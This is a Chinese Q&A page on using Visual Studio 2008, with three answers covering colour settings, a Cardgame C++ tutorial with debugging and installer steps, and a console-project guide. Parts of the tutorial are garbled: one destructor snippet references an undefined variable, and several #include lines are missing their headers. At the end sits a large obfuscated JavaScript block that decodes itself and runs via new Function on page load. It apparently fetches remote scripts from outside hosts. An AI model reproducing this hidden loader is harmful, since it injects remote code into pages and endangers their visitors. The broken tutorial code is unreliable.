VS2008怎么用??

2024-11-12 13:14:29
推荐回答(3个)
回答1:

1、运行VS2008,打开一个项目或者工作空间。

2、单击菜单栏中的【工具】,单击弹出菜单中的【选项】。

3、在左侧树形列表中的,找到【环境】\【字体和颜色】在右侧 选择【显示其位置】:文本编辑器;在右侧 选择【显示项】下各个条目,根据条目选择其 项前景色(字体颜色)、 项后景色(背景色)、粗体(字体),对配色方案进行自定义操作。

4、举例:修改 “选定的文本”。最后,注意单击【确定】按钮,保证修改生效。 

回答2:

来编译普通C++源码。

用的时候 不能用.h 都用using namespace std;
另外度一样

使用项目和解决方案

用 Visual Studio 编写 Visual C++ 程序的第一步是选择项目的类型。对于每种项目类型,Visual Studio 都为您设置编译器设置并生成起始代码。

创建新项目

在“文件”菜单中,指向“新建”,然后单击“项目...”。

在“项目类型”区域中,单击“Win32”。然后,在“Visual Studio 已安装的模板”窗格中,单击“Win32 控制台应用程序”。

键入项目名称。在此示例中,我们将使用“游戏”。

创建新项目时,Visual Studio 将该项目放入一个解决方案。请接受解决方案的默认名称,该名称与项目的名称相同。

您可以接受默认位置、键入一个不同的位置或者浏览到要保存项目的目录。

按“确定”启动“Win32 应用程序向导”。

在“Win32 应用程序向导”对话框的“概述”页中,单击“下一步”。

在“应用程序类型”下的“应用程序设置”页,选择“控制台应用程序”。选择“其他选项”下的“空项目”设置并单击“完成”。

现在,您得到了一个没有源代码文件的项目。

使用解决方案资源管理器

通过解决方案资源管理器,您可以轻松使用解决方案中的文件和其他资源。

在本步骤中,您要向项目添加一个类,Visual Studio 会将 .h 和 .cpp 文件添加到项目中。然后,为测试类的主程序向项目添加一个新的源代码文件。

向项目添加类

如果“解决方案资源管理器”窗口不可见,请单击“视图”菜单上的“解决方案资源管理器”。

右击“解决方案资源管理器”中的“头文件”文件夹并指向“添加”。然后单击“类”。

在“Visual C++”类别中,单击“Visual Studio 已安装的模板”区域中的“C++”,然后单击“C++ 类”。单击“添加”。

在“一般 C++ 类向导”中,键入“Cardgame”作为“类名”,并接受默认的文件名,然后单击和设置。然后单击“完成”。

对编辑区域中显示的 Cardgame.h 文件进行下列更改:

在类定义的左大括号之后添加两个私有数据成员:

复制代码

int players;

static int totalparticipants;

添加一个采用一个 int 类型的参数的公共构造函数原型:

复制代码

Cardgame(int p);

删除为您生成的默认构造函数。默认构造函数是没有参数的构造函数。默认构造函数类似于如下所示:

复制代码

Cardgame(void);

进行上述更改后,Cardgame.h 文件应如下所示:

复制代码

#pragma once

class Cardgame

{

int players;

static int totalparticipants;

public:

Cardgame(int p);

~Cardgame(void);

};

#pragma once 行指明编译器只包含该文件一次。有关更多信息,请参见 once。

有关此头文件中包含的其他 C++ 关键字的信息,请参见 class (C++)、int、Static (C++) 和 public (C++)。

双击“源文件”文件夹中的“Cardgame.cpp”,以将其打开进行编辑。

为采用一个 int 参数的构造函数添加代码:

复制代码

Cardgame::Cardgame(int p)

{

players = p;

totalparticipants += p;

cout << p << " players have started a new game. There are now "

<< totalparticipants << " players in total." << endl;

}

开始键入 pl 或 to 时,可以按 Ctrl-空格键,自动完成功能将为您完成键入 players 或 totalparticipants。

删除自动生成的默认构造函数:

复制代码

Cardgame::Cardgame(void);

进行上述更改后,Cardgame.cpp 文件应如下所示:

复制代码

#include "Cardgame.h"

#include

using namespace std;

Cardgame::Cardgame(int p)

{

players = p;

totalparticipants += p;

cout << p << " players have started a new game. There are now "

<< totalparticipants << " players in total." << endl;

}

Cardgame::~Cardgame(void)

{

}

有关 #include 的说明,请参见 The #include Directive。

添加源文件

在本步骤中,您将为测试类的主程序添加一个源代码文件。

添加新源文件

在“项目”菜单上,单击“添加新项”。

也可以使用“解决方案资源管理器”来向项目添加新文件,方法是右击“解决方案资源管理器”中的“源文件”文件夹,指向“添加”。然后单击“新建项”。

在“Visual C++”区域中,选择“代码”。然后单击“C++ 文件(.cpp)”。

键入“testgames”作为“名称”,然后单击“添加”。

在 testgames.cpp 编辑窗口中,键入以下代码:

复制代码

#include "Cardgame.h"

int Cardgame::totalparticipants = 0;

int main()

{

Cardgame *bridge = 0;

Cardgame *blackjack = 0;

Cardgame *solitaire = 0;

Cardgame *poker = 0;

bridge = new Cardgame(4);

blackjack = new Cardgame(8);

solitaire = new Cardgame(1);

delete blackjack;

delete bridge;

poker = new Cardgame(5);

delete solitaire;

delete poker;

return 0;

}

有关此源文件中包含的 C++ 关键字的信息,请参见new Operator (C++) 和 delete Operator (C++)。

在“生成”菜单上,单击“生成解决方案”。

在“输出”窗口中,您应当看到生成的输出,它指示已编译项目,并且未发生错误。如果未看到,请将您的代码与该主题较早显示的代码进行比较

在本步骤中,您将故意在代码中引入一个 Visual C++ 语法错误,以了解什么是编译错误,以及如何修复它。编译项目时,会显示错误消息以指示所发生的问题的性质和位置。

先决条件

本主题假定您具备 C++ 语言的基础知识。

使用 IDE 修复编译错误

在 testgames.cpp 中,删除最后一行中的分号,使代码如下所示:

复制代码

return 0

在“生成”菜单上,单击“生成解决方案”。

“输出”窗口中显示一条消息,指示生成项目失败。

单击“输出”窗口中的“转到下一条消息”按钮(指向右方的绿色箭头)。“输出”窗口中的错误消息和状态栏区域指示右大括号前缺少一个分号。

若要查看有关错误的更多帮助信息,请突出显示错误,并按 F1 键。

将分号重新添加到导致语法错误的行的末尾:

复制代码

return 0;

在“生成”菜单上,单击“生成解决方案”。

“输出”窗口中显示一条消息,指示项目已正确编译。

以“调试”模式运行程序使您可以使用断点来暂停程序,以检查变量和对象的状态。

在本步骤中,您将在程序运行时观察变量的值,并推断为什么值与预期的不同。

先决条件

本主题假定您具备 C++ 语言的基础知识。

以“调试”模式运行程序

如果“testgames.cpp”文件不可见,请在编辑区域中单击该文件对应的选项卡。

单击以下行,将其设置为编辑器中的当前行:

复制代码

solitaire = new Cardgame(1);

若要在该行上设置断点,请单击“调试”菜单上的“切换断点”,或者按 F9。也可以单击代码行左侧的区域来设置或清除断点。

设置了断点的代码行的左侧会显示一个红色圆圈。

在“调试”菜单上单击“开始调试”,或者按 F5。

当程序运行到包含断点的行时,执行将暂时停止(因为程序处于“中断”模式)。代码行左侧的黄色箭头指示该行是要执行的下一个代码行。

若要检查 totalparticipants 变量的值,请将鼠标指针悬停在该变量上方。该变量的名称及其值 12 即显示在工具提示窗口中。

右击 totalparticipants 变量并单击“添加监视”,以在“监视”窗口中显示该变量。您也可以选择该变量并将其拖动到“监视”窗口。

在“调试”菜单上,单击“逐过程”,或者按 F10 步进到下一行代码。

totalparticipants 的值现在显示为 13。

右击 main 方法的最后一行 (return 0;),并单击“运行到光标处”。代码左侧的黄色箭头指向要执行的下一个语句。

当 Cardgame 终止时,totalparticipants 数应减小。此时,totalparticipants 应等于 0,这是因为所有的 Cardgame 指针都已删除,但是“监视 1”窗口指示 totalparticipants 等于 18。

代码中存在一个 bug,您将在下一节中检测并修复它。

在“调试”菜单上,单击“停止调试”或者按 Shift-F5 停止程序。

在本步骤中,您将修改程序以修复在测试项目时发现的问题。

先决条件

本主题假定您具备 C++ 语言的基础知识。

修复包含 bug 的程序

若要明白在 Cardgame 对象销毁时会发生什么,请查看 Cardgame 类的析构函数。

在“视图”菜单上,单击“类视图”,或者单击“解决方案资源管理器”窗口中的“类视图”选项卡。

展开“game”项目树并单击“Cardgame”类。

下方的区域显示类的成员和方法。

右击“~Cardgame(void)”析构函数并单击“转到定义”。

要在 Cardgame 终止时减少 totalparticipants ,请在 Cardgame::~Cardgame 析构函数的左大括号和右大括号之间键入以下代码:

复制代码

totalparticipants -= players;

cout << p << " players have started a new game. There are now "

<< totalparticipants << " players in total." << endl;

进行上述更改后,Cardgame.cpp 文件应如下所示:

复制代码

#include "Cardgame.h"

#include

using namespace std;

Cardgame::Cardgame(int p)

{

players = p;

totalparticipants += p;

cout << p << " players have started a new game. There are now "

<< totalparticipants << " players in total." << endl;

}

Cardgame::~Cardgame(void)

{

totalparticipants -= players;

cout << players << " players have finished their game. There are now "

<< totalparticipants << " players in total." << endl;

}

在“生成”菜单上,单击“生成解决方案”。

在“调试”菜单上,单击“运行”,或按 F5,以“调试”模式运行该程序。程序将在第一个断点处暂停。

在“调试”菜单上单击“逐过程”或者按 F10 逐句通过程序。

请注意,执行每个 Cardgame 构造函数后,totalparticipants 的值会增大。而在删除每个指针(并调用析构函数)后,totalparticipants 的值会减小。

单步执行至程序的最后一行。恰好在执行 return 语句之前,totalparticipants 等于 0。继续逐句通过程序,直到程序退出;或者,在“调试”菜单上单击“运行”或按 F5,允许程序继续运行,直到退出。

现在,我们创建了应用程序,最后一步是创建可供其他用户在其计算机上安装该程序的安装程序。为此,我们需要将新项目添加到现有解决方案。此新项目的输出是 setup.exe 文件,该文件用于安装我们之前在另一台计算机上创建的应用程序。

本演练将使用 Windows Installer 来部署应用程序。您还可以使用 ClickOnce 部署应用程序。有关更多信息,请参见 ClickOnce 部署。有关常规部署的更多信息,请参见部署应用程序和组件。

先决条件

本主题假定您具备 C++ 语言的基础知识。

创建安装项目和安装程序

在“文件”菜单上单击“添加”,再单击“新建项目...”。

随即出现“添加新项目”对话框。

从“项目类型:”窗格中,展开“其他项目类型”节点并选择“安装和部署”。

从“模板”窗格中,选择“安装向导”。为安装项目键入名称(如 gameInstaller),并单击“确定”按钮。

将出现“安装向导”。单击“下一步”继续。

从向导的“选择一种项目类型”窗格中,选择“为 Windows 应用程序创建一个安装程序”选项,并单击“下一步”继续。

从向导的“选择要包括的项目输出”窗格,选择“游戏的主输出”,并单击“下一步”继续。

无需在安装程序中包括任何其他文件,因此,从安装程序的“选择要包括的文件”窗格中,单击“下一步”。

检查向导的更改,并验证所有内容是否正确。单击“完成”创建项目。

“解决方案资源管理器”中将列出新的 gameInstaller 项目。此项目将列出应用程序依靠的依赖项(如 C 运行时库或 .NET Framework)以及安装程序中将包括的项目文件。

创建安装项目后,有许多选项可以更改。有关更多信息,请参见 Windows Installer 部署。

通过在“解决方案资源管理器”中选择安装程序并从“生成”菜单单击“生成 gameInstaller”来生成安装程序。

找到上一节创建的 setup.exe 和 gameInstaller.msi 程序。在计算机上双击任一文件安装应用程序。

已经学习了 Visual Studio IDE,现在可以开始使用 Visual C++ 编写程序了。我们将学习创建的第一个应用程序类型是命令行应用程序。命令行应用程序不包含图形用户界面 (GUI)。通常,命令行应用程序从控制台读取输入,并将输出写入该控制台,而不是写入图形窗口。

在本节中,您将学习如何创建 C 和 C++ 命令行应用程序。还将学习如何创建不使用 Microsoft 扩展的标准 C 和 C++ 程序。如果您希望使用 Visual C++ 创建在其他操作系统上使用的应用程序,这将很有用。

回答3:

文件->新建->项目
左侧侧选 visual c++ ->Win32 右侧选 Win32项目
下方输入名字,解决方案可保持同名 确定
点下一步
上方选 控台应用程序
附加选项,空项目勾上 完成
项目建好了,下一步加入C文件
在解决方案资源管理器(如果界面上没有可以在视图中找到) 中 右键"源文件"文件夹->添加->新建项
选C++文件,注意下方的名字要写成 XXXX.c以保存成c文件,不写扩展名则保存成cpp
现在就可以在文件里定代码了,写好代码后 点 生成,生成解决方案
调试->启动调试,来调式或开始执行(不调式)直接查看运行结果
注意你的代码
getch()在conio.h当中,应加上对其的引用
#include
#include
void main()
{
printf("Hello world !\n");
getch();
}
仅供参参考,祝你好运!

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();